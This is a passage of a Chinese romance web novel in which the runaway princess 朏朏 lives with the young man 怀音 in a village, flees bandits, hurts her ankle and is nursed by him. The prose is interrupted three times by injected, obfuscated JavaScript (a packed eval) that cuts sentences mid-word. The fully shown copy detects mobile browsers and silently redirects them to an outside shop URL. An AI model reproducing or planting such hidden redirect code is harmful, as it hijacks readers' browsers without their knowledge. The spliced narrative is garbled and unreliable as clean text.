朏朏咬紧唇瓣,低下头去,眼眶热热的,鼻尖有些发酸。 她什么都不会,只会把事情弄得一团糟,连这么简单的事情都做不好…… “过来,朏朏。” 他清清淡淡的四个字落在她耳畔。 “哦哦,这就来。” 朏朏悄悄擦干眼角水珠,忙跑到怀音身边。 扫掉最后一块碎瓷片,怀音转过脸,看她时略微按了一下额头:“你怎么弄成这个样子了?” “嗯?” 朏朏眨了下眼睛,一副懵懂的迟钝模样:“什么样子?” 怀音瞧了几眼她,心中憋笑,面上却是不显:“像泥地里打滚的狗。” 风似地跑至水盆边,朏朏瞧见自己灰头灰脑、浑身上下都罩满灶台灰的模样,但只是看着狼狈罢了,至少瞧起来是比那泥地打过滚的狗要好的。 她小声嘀咕几句:“洗一洗不就好了嘛,干嘛在那笑话人。” 确定她从那股低落情绪里走出来,怀音也就收回视线。 朏朏左右看了圈,取过窗台处放的澡豆,来至引水竹筒边,打出点细沫来净手。 水声轻而小,怀音耳朵动了一下。 他内功深厚,五感敏锐,无需特意去探去观察,也能听见雪白细腻的泡沫在她双手间缓慢摩擦滑动,还能听见潺潺流水是如何冲洗干净那一双白皙细嫩的手。 甚至于,声音还为他勾勒出一副泡沫消失后,会显露出她指间一颗隐秘小痣的画面来…… 摒掉杂念,怀音问:“你大早上折腾厨房,是想做什么?” 朏朏边擦干手,边回道:“我想做点山药枣泥糕给你赔罪来着,莺姐姐说那个很好做……” 话毕,怀音无奈。 上次就该直接禁止这位小公主进厨房的…… 他伸手碾了碾碗里的糯米粉,生的,甚至都还没炒熟,稀稀拉拉的枣泥里依稀能瞧见尖尖果核,一口下去,怕不是能把牙磕出个缺角。 怀音无奈将东西收好:“我说小公主,就你这生活能力,那逃跑的半个月到底是怎么过的。” 朏朏思考片刻,开口出声:“离宫前,慧真姐姐给了我干粮,说我省点吃的话,能吃一个月,够我来济光村的路了。元良哥哥还给了我他平日里抄书赚的钱,省着点花也够用了。” 她絮絮叨叨道:“你别看我好像很弱的样子,但其实我可惜命啦,韩先生还夸过我,说我虽然没有状元之才不是个读书料子,但最大的优点呢,就是听话,我听姑姑的话官兵来了就跑,听哥哥姐姐的话在路上省点吃省点花,这不就安全来找到你了嘛。你刚刚问的话,想尝尝那个干粮的味道吗?我这一路吃得不多,现在应该还有剩的。” 怀音:“谢谢,但我不要。” 她的包裹,他自然也解开看过,很难想象,这看起来娇娇弱弱的小公主,竟然能吃得下如糟糠那般的粗饼,看起来给狗吃都嫌弃的东西。 朏朏目光不由自主地落在怀音身上。 他思考时,浓睫会微微垂落,半遮住那双含情的桃花眼,显得整个人沉静内敛。 长得确实好看,哪里都是刚刚好。 多一分则浓,少一分则淡。 朏朏出神地想着。 倏尔,四目相接。 触及怀音似笑非笑的表情,她立马低下头,瞧天上云瞧地下尘,就是不瞧他。 怀音说:“你要是觉着闲,就去山上捡些干燥树枝树皮回来当引火料,家里没了。” 朏朏歪了歪脑袋:“喔……” 怀音塞给她一只竹筐:“要干的,不要湿的,你上次捡的那些都不能用,仔细点挑干的没有水的,记住了没?” 顺势把竹筐往背后一甩,朏朏小声嚷嚷:“知道啦知道啦!两只耳朵都听见了!” * 天光云影徘徊,行云霭霭,余晖正好,在脚下铺了一地。 扯着身边叶挚的衣角,朏朏气喘吁吁靠着树:“我、我不行了,叶挚你同我歇一会儿吧……你,你怎么都不累的?” 她手脚发软,心脏砰砰直跳,嗓子干得像要冒烟一样。 背后竹筐装了满满一筐芒萁和干树皮,还有些杂七杂八的野果。收获颇丰,但却重得很。 虽说怀音没有指定她捡多少,但要不是路上遇到同样外出捡柴火的叶挚,她说不定只捡一点点就溜回家了。 将水囊递给她,叶挚解开她背后竹筐抱在怀中:“朏朏姐姐,是你身体太差了,欠缺锻炼。” 朏朏边喝着水,边断断续续地说:“你、你在学堂念、念完书,回家还、还能继续干活,真、真是厉、厉害啊……” 叶挚挺起胸膛,一脸骄傲:“因为姐姐每天早出晚归卖点心已经很累了,我想她多休息一下,我以后还要考状元,让姐姐过上好日子咧。” 朏朏笑了笑,指尖戳戳他带着红晕的小脸,“肯定可以的,咱们叶挚弟弟这么聪明,区区状元而已,岂不是手到擒来。” 闻言,叶挚倒是有些不好意思地低头:“嘿嘿,还没影的事情呢,姐姐就别拿我开玩笑了。” 他扭头看了眼天色,“天看起来快黑了,再不下山的话就来不及了,天黑后山里会有野狼出没,朏朏姐姐,我们先回家……唔?!” 忽的,另一侧传来一丝动静,是鞋靴踏在枯叶上的脚步声。 脚下一顿,朏朏心中警铃大作,忙捂住叶挚的嘴,蹲在还算高大的枯树丛背后。 声音像是一直在朝她们二人所在的位置走来,时轻时重。 朏朏一脸肃色,对叶挚做了个噤声的动作。 叶挚倒也乖巧配合,双手捂住自己的嘴巴,大气都不敢出,只一双眼睛睁得大大的,神情疑惑。 轻手轻脚拨开一点树枝,朏朏悄悄从树丛缝隙中朝外望去。 黄昏下,林中慢慢出现两个人,两人一高一矮,皆是作粗布短衫,脚上套穿着洒鞋的装扮,背扛刀斧,大步走来。 朏朏看不清他们面容,只隐约听到点交谈的声音。 “大哥,怎么办,这抢的粮食不够啊,要是寨主不满意的话……”这声音的主人似乎有些恼怒,拿着武器对周遭灌木乱砍一通。 眉心不自觉轻拧了一下,朏朏背后渗出细密汗珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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等回到小院时,天都已经黑透了。 她推开木门,视线不经意一垂。 夜色中,石桌上的一盏明灯粹亮,照亮桌面佳肴,也照出桌边人的一道影子,斜斜投落在地。 朏朏瞧见桌边等候的人,乌发青衫的少年闻声转过头,长睫在眼下投落一片浅浅的影,瞳仁映出细碎烛光,灼灼如暖阳入怀。 不知道为什么,那颗七零八落的心忽然回归原位。 真是奇怪。 见她走路姿势奇怪,怀音略略皱眉,起身走上前扶她,慢慢往回走,问:“怎么回事?” “同叶挚回来的路上遇到山匪了,跑的时候不小心扭了下脚,不打紧,休息几天就好。” 倚着他的手站稳,朏朏没什么力气,声音也是轻轻的,面色苍白虚弱:“对了怀音,你要快些去通知一下村长做好准备,我偷偷听到他们说过几天要来济光抢粮食……” 眼皮愈发沉重,不知不觉,怀音利落的下颌线逐渐在她眼前模糊。 “萧朏?” 朏朏动动垂在身侧的指尖,却发现自己没多少力气,整个人昏昏沉沉的,下意识寻了个舒服的位置,把脑袋靠过去:“姑姑……让我……睡一会儿吧……就一会会儿……捡柴火好累呀……” 怀音皱起眉头:“喂,萧朏,先别睡。” 毫无征兆的,她倒了下去。 呼吸间带出的热气轻拂颈侧,痒痒的,推开肩上小脑袋一点距离,怀音轻“啧”一声。 真是个娇弱又麻烦得要命的小公主。 8. 第 8 章 醒来之际,外头天光大亮。 朏朏茫然盯着灰扑扑的床幔片刻,才后知后觉发现,这不是她的屋子。 挪开被子下床,朏朏打量屋内陈设。 简简单单的几件家具,但干净又整洁,看起来很舒服,靠窗的一樽白瓷花瓶内插着几束新鲜的植物,上面的小花随风摇曳,好似轻盈的蝴蝶装点明窗。 花瓣薄如绢纱,闪烁着珍珠光泽,色如赪霞,宛若天际霞光尽数落于其中。 即便在父君号称珍衲天下花的花园里,她都没见过如怀音房中的这种花。 朏朏没有贸然去动它,只远远观赏片刻后移开目光。 对面竹塌上摆着一张小几案,小几案上的红炉煨着水,滚水咕噜咕噜的,水汽萦绕飘散,旁边的脸盆搭着条湿润白帕。 她慢慢挪到水盆边。 想擦一下脸时,却瞥见水中倒影的脸,干干净净的,没有一丝灰尘,连掌心里因摔倒磨破而沾满尘泥草屑汁液的小伤口也被人收拾妥当。 是怀音帮她擦干净的吗? “吱呀——”一声推门声轻起。 朏朏下意识回头,日光随着微荡的苍绿衣摆一起走入。 瞥她一眼,怀音托着碗走进室内,自顾自放在竹榻上:“想你也该醒了,太阳都快下山了,大黄都没你能睡的。” 将米粥放在几案上,他过来扶着她在竹榻上落座,而后在对面空位坐下。 怀音:“来吃点东西,吃完了我给你换药,还要揉散淤血。” 朏朏慢慢坐下,低眉垂首的:“谢谢你啊怀音,我给你添麻烦了吧?” 惊讶于小公主还挺有自觉的想法,怀音略一挑眉:“挺有自知之明,不过还好,你先喝粥。” “谢谢你。” 朏朏乖乖拿瓷勺舀了勺粥,吹凉后送入口。 米粒绵软,菜叶青翠,里头似乎还加了些切得碎碎的鸡肉丝,星点油花泛在粥面,闻起来咸鲜可口。 几勺热乎乎的粥水下肚,温热感传遍四肢百骸,朏朏顿时感觉整个人都活过来般。 室内安静,唯有窗外时不时几声雀鸣,怀音单手支颐,百无聊赖看着她喝粥。 见她一时扬起黛眉,弯了唇角;一时又鼓起脸颊,小口小口地咀嚼粗些的菜梗,腮帮子鼓鼓的,令人看起来很有食欲。 此时室内暖意融融,她脸颊恢复往常血色,皮肤莹润白里透红,眼儿亮晶晶的,嘴唇也是红红的。 看着比昨天那副惨兮兮的模样要有生气多了,怀音漫不经心想着,嘴上问一句:“好喝不?” 不失风度又十分迅速地消灭一碗粥,朏朏长叹了一口气,满足道:“好喝。” 要不是怀音只端来了半碗,她还想再喝一碗。 怀音指尖轻敲案面:“行,那我们来算算昨晚的账,小公主,你意下如何?” “啊?” 朏朏愣在原地,抬眸看他。 呃? 什么账? 四目相对,怀音好整以暇地与之对视:“要不你看看我的脸呢?” 朏朏凝目,认真端详。 眉眼俊逸清隽,鼻挺唇薄,看着就很赏心悦目,除了右眼框有一圈淡淡的乌黑外,她看不出什么有任何问题。 等等…… 这圈乌黑…… 朏朏恍恍惚惚的,有了些许记忆。 昨晚不知道为什么,梦到了一条大虫在追她,她害怕极了,学着慧真姐姐的样子给了大虫一拳,还想着给第二拳的时候,没想到那大虫就自顾自走掉了…… 见她一派恍然的表情,怀音慢悠悠给自己斟了一杯茶:“也不知道为什么,我好心扶某位小公主回房休息,然后她就给了我一拳,真是好生奇怪呢。” 他学着伶人腔调,尾调拉得长长的,听着语气颇有几分阴阳怪气的意味。 心虚轻轻抠着袖摆布料,朏朏尴尬笑笑:“那我付你医药费,你去找李大夫看看?” 说实话,她也不知道自己做梦会这么不老实啊。 怀音手指微屈,轻叩桌面:“还有借住费、照料费、后续的破相赡养费……” “等等——!” 朏朏忙出声打断他:“如果说照料费用同破相赡养费这些,我都认了,但凭什么还要我付借住费啊?” 环顾室内一圈,她抿唇小小声反驳一句,委屈巴巴:“而且这里也不是我的房间啊……” 怀音起身,收走空碗:“你房门是锁着的,这小院只有两间房,而且你还受伤了,不睡我屋是想睡在外头?我昨晚可是在厨房里待着,一夜都睡不安稳,还是说,你想我搜你身子拿钥匙,趁机讹我娶你?” 朏朏睁圆了眼,下意识拢住领口,道:“休想!我才不会嫁给你的!你就死了这条心吧!” 她意中人才不会是这种混不吝的掮客呢! 言毕,却见怀音转过身,眼珠飞速向上一翻而后恢复如常,可唇瓣却无声缓慢张合两下,像是方便她看清楚说的是什么字一般。 ——白痴 朏朏:“……” 她要告诉青玉姑姑,这人一直在挑衅她!! 怀音将碗往外头的水盆一送。 一声细微的重物入水“扑通”声响,瓷碗稳稳沉入水底。 转身睨了眼生闷气的人,怀音思索片刻,行至檀案前,从箱箧中拿出一盒药膏:“行了,不逗你了,坐好,把裤腿撩起来。” 朏朏气鼓鼓:“干嘛?” 怀音:“擦药。” “喔。” 朏朏还未伸手拿过,少年便已半蹲下.身,拧开药盒盖子,双指并拢作勾,挖了坨乳白药膏,捂在掌心,轻轻摩擦着。 她歪了歪脑袋,盯着他低头时的轮廓片刻,半晌不语。 日光晕开少年过于硬朗的侧脸线条,变得柔和,连那双爱戏弄人的桃花眼也愈发温柔专注。 等了一会,发现人没动静,怀音抬头,问:“发什么呆呢,撩一下裤脚,不然我怎么上药。” 朏朏猛地回神,耳尖微烫。 真是美色误人,怎么能看着这个混蛋失神呢。 应了声,朏朏犹犹豫豫撩起一节裤腿。 昨日跑回来只觉得右脚踝那处痛,没成想,这一撩起来看,情况严重多了。 半截小腿皆是磕得青紫,淤血淤积,又因小腿久不见光,肤色白皙光洁,两相映衬着,显得越发可怖。 “放轻松点,脚踩我膝盖上。” 怀音左手握着她的小腿,右手将揉热了的药膏贴在淤青处,轻轻揉捏。 少年的手掌很热,腕心沿着足踝周边挪动,微微朝里发力,药膏带着一点温热触感覆在足踝处的皮肤,力道不轻不重,顺着肌理走向一点点揉摁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是话未说完,脚踝处又传来一阵针扎似的绵密刺痛,她急促抽气。 正欲出声呼痛之际,想起怀音方才的话,朏朏又默默抿住了唇,双手死死捂住嘴巴,小脸憋得通红。 小心上完药,怀音给她包扎好,再轻轻将她的腿放下,站直身:“好了。” 明明只是个简单的上药,却硬是给他弄出一身涔涔冷汗。 怀音强拧了几下指尖,抑制住那种微妙神思,出声嘱咐:“淤血我已经帮你揉散了,这几日就先在屋子里休息,不要乱跑。” 痛感尚留有余韵,朏朏眼睫簌簌轻抖,尾音带颤:“好吧……” 扔开擦手的帕子,怀音走至竹榻另一旁坐下,问:“你昨日是怎么遇上山匪的,有没有在那处留下什么私人的、有标记的物品?” 朏朏想了想,而后摇头:“应该没有落下私人物品,但我同叶挚捡的柴火跟野果都掉了……” 提及尚且年幼的叶挚,她心中一紧,声线放低:“我有些担心他们会寻叶挚麻烦,会不会……” 要是祸及叶挚,那她的罪过就大了,到时还有什么脸面对叶莺。 怀音凝神沉思须臾,道:“你们有在他们二人面前露脸吗?” 话音方落,却见对面纤丽的小公主眨了眨眼,一脸茫然。 迟疑片刻,朏朏回道:“应该没有吧?” 那时情况紧急,她也没注意到这些。 怀音沉声:“明日得空,我会去看看,至于这几日……” 他意有所指地瞥了眼。 朏朏立马坐直身子,双手在胸前比了个大大的叉:“我一定在家好好看门,绝对不会乱跑的!我保证!” 9. 第 9 章 又过了几天,朏朏腿伤好得七七八八了,本想出门溜达,但想起先前答应了怀音要乖乖呆在家里,只得按捺下这个心思。 可没人同她聊天,真是无聊得紧。 在第一百次叹气而引起圈里毛驴不满喷气时,朏朏索性放下嘴里的山药枣泥糕,走到草棚边。 刚来那日,在她强烈要求,外加额外付一支金蝴蝶簪后,怀音才愿意给毛驴盖了个草棚当作住的地方。 摸出一根看起来格外水灵灵的胡萝卜,朏朏拿绳子吊起,在毛驴面前晃悠道:“阿呆,想不想吃呀?” 毛驴哼哧哼哧嚼着草料,黝黑眼珠却粘在了胡萝卜上。 见它果然面露馋相,朏朏眼眸微眯,一脸怀笑:“哼,给鸡吃都不给你。” 话毕,她把胡萝卜掰开,一分为二,扔到一旁的鸡圈。 几只肥硕丰满的芦花鸡果真扑腾着翅膀,咯咯哒咯咯哒地叫着,埋头努力啄食地上的胡萝卜,气得那只灰毛驴不断扬着蹄子,踢起阵阵烟尘。 正看得开心,朏朏忽听见门那边响起敲门的声音。 “来啦来啦。” 她边应声,边慢慢去开门。 门外,是叶莺同提着竹篮的叶挚。 “你们怎么来啦?” 朏朏扬起大大的笑容,侧身:“先进来坐吧,别在外面站着。” 指使叶挚把东西放在案几上,叶莺道:“那天你不是给了点意见,说让我开发些新口味的点心揽客,我按照那食谱上做了一点……” 在一旁笑呵呵的叶挚迫不及待插话:“朏朏姐姐,按你给的食谱方法做出的点心都好受欢迎!我去摊子帮忙的时候,那些客人唰唰来唰唰去,一下就卖光了呢!本来我今天是准备一个人来送谢礼的,因为我跑得快嘛,结果姐姐她也硬要跟着——诶呦!” 头上平白挨了叶莺的一个爆栗,叶挚扁扁嘴,扑进朏朏怀中,仰起脸看她:“朏朏姐姐,有人打我的头,好痛!” 朏朏轻轻“嘶——”了一声,扶住门框站稳:“我就随口一提的,主要还是你姐姐手艺好,做出的点心受客人欢迎。” 反正她带着那本食谱也没用,不如就给会做的人。 注意到朏朏略显别扭的脸色,叶莺忙上前把献宝撒娇的叶挚提溜开,搀扶着她:“怎么了朏朏?” 朏朏回神:“就是前几天脚扭了一下,不打紧的,莺姐姐扶我去竹椅上坐下吧。” 听着她的话,叶挚面露愧疚:“姐姐是不是那天为了带我躲山匪才扭到的?都怪我拉着你在山里走太久了……” 朏朏:“是我自己不小心踩中石头扭到啦,不关你的事,而且也好得差不多了。” 叶挚探头,四下张望一圈,问:“怀大哥呢?不在家吗?” 朏朏:“他有事出去了。” 叶挚摇摇头,不太赞同:“朏朏姐姐你都受伤了,怀大哥怎么不在家照顾你?” 塞给他一把瓜子仁,朏朏轻快笑笑,笑声清凌凌的:“因为他没有这个义务呀。” 坐在屋檐下,叶挚嚼着瓜子仁:“咦?可你们不是夫——” 见他有刨根问底的话头,一旁的叶莺又狠敲叶挚脑袋:“看你闲的没事,给你朏朏姐干点活去,去把鸡圈里的鸡蛋都捡回来。” “喔……”叶挚不说话了,只捂着脑袋,乖乖去捡鸡蛋。 朏朏颇有些心疼:“诶呀莺姐姐,别把孩子给打傻了。” “他皮实,哪里打得坏。” 叶莺望着她笑起来。 吃着点心,品着茶,二人又闲聊了会儿,聊些在街上卖点心时遇到的趣事,朏朏笑得开心,期间叶挚回来了,累极后把头枕在她腿上,朏朏边投喂着他,边揉着他脑袋上的头发玩,丝毫没注意门口有一道人影,还是叶莺提醒她才回过神。 余晖下,他站在那里安静看着,悄无声息,极高身量垂落一道长长阴影,末端一直延至她鞋尖面。 暮色昏沉,将他白壁无瑕、漂亮如桃花仙的面容也染上几分暗色。 “诶,怀音回来了呀。” 朏朏笑着朝他挥挥手,手指着瓷碟内为数不多的点心:“这里有莺姐姐带给我的点心,你要来一块尝尝吗?” 怀音神情平静,往后厨方向走:“不了。” “好吧。” 朏朏无奈耸肩,又转身同叶挚玩闹起来。 叶莺看了眼少年背后遮藏的食盒,又看了眼径自同自家弟弟玩着过家家游戏的少女。 不过她也大概看得出来,眼前这小女娘哪有那个心思。 正巧天色也晚了,叶莺也就顺势带着叶挚,起身告辞。 “好吧,那莺姐姐再见。” 朏朏弯下腰,亲一口他脸颊,笑盈盈:“记得再来找我玩喔,下次我教你玩翻花绳、扔沙包。” 叶挚高兴道:“好!” 送走叶莺叶挚,朏朏倚在门边,瞧着姐弟两远去的背影,感叹一句:“小孩子可真好玩。” 她说什么,叶挚就信什么,满脸崇敬模样。 欲转身关门之际,门外传来一道细细弱弱的抽泣声。 “啊——呜呜啊——疼啊——” 下意识侧身回头,朏朏狐疑看向不远处。 一农家妇人坐落在地,面白如金纸,痛苦呻吟着。 看起来,像是同她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024653|194336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,不小心扭到脚了。 朏朏忙跑过去扶起她:“婶婶,你没事吧?要不要我去找大夫?” “不,不用看大夫了……” 妇人道:“小姑娘,能麻烦你扶我到那石头墩子那坐下吗?我儿子一会儿就会来接我回家了。” 原来如此。 朏朏没说什么,只慢慢搀扶她来到石头墩子坐下。 她想了想,问:“婶婶,你真的不用看大夫吗?要不我去我屋里拿点跌打药油给你擦擦吧?那药油很好用的,我前几天扭到脚,涂了之后今天就好了。” “不,不用了——” 还没等妇人回话,朏朏一阵风似冲进里屋,轻车熟路地翻起木箧里的瓶瓶罐罐。 奇怪,怀音给她用的那瓶药油去哪了? 明明是放在这里的。 掀开帘子,怀音进屋:“你在做什么?” 朏朏头也不回:“你给我用的那瓶药油放哪了啊?外头有个婶婶也扭到了,她看起来很痛的样子,我用着那药油感觉挺好用的,我想给她也涂一下,这样就不会那么痛了。” 怀音沉默。 嗯,当然好用,花他五十两银子换来的,虽然这点钱对小公主来说,根本入不了眼。 “啊,找到了!” 朏朏揣着小铁盒,扭身往外走时却被怀音拉住。 她脚下未收,而他停住了脚步,额头就这么撞上他的胸膛。 结实得让朏朏都觉得自己好似撞到了一堵墙,有些站不稳。她微微拧起眉,揉着额头,很快又一幅恍然大悟的模样:“你也要去看看吗?” 怀音还没回话,指尖便被一点细柔的温热勾住。 朏朏拖着他往门外走:“那你跟我一起去吧,多个人也好帮忙。” 只是石头墩子已经没人了,不远处散落些野菜果子,看着杂乱无章,但仔细辨别,连起来是个整齐的图案。 怀音侧目,看了眼身侧疑惑张望的小公主。 真是个没脑子的,蠢得可以,连被人盯上了都不知道。 朏朏捧着药盒张望几圈,疑惑:“咦?真奇怪,人去哪了,是婶子的儿子来接她了吗?” “你很闲?闲到有功夫关心别人。” 怀音:“闲就去把豆荚里的豆子给我挑出来。” 朏朏不满道:“我挑完了的!” 她可是忙活了一下午,跟叶挚一起挑的。 怀音微笑:“我给你带了新的。” 朏朏:“……” 这人不会是看不惯她一整个下午都在跟叶家两姐弟玩闹,所以特地给她找事干吧? 特地找事的混蛋,可恶!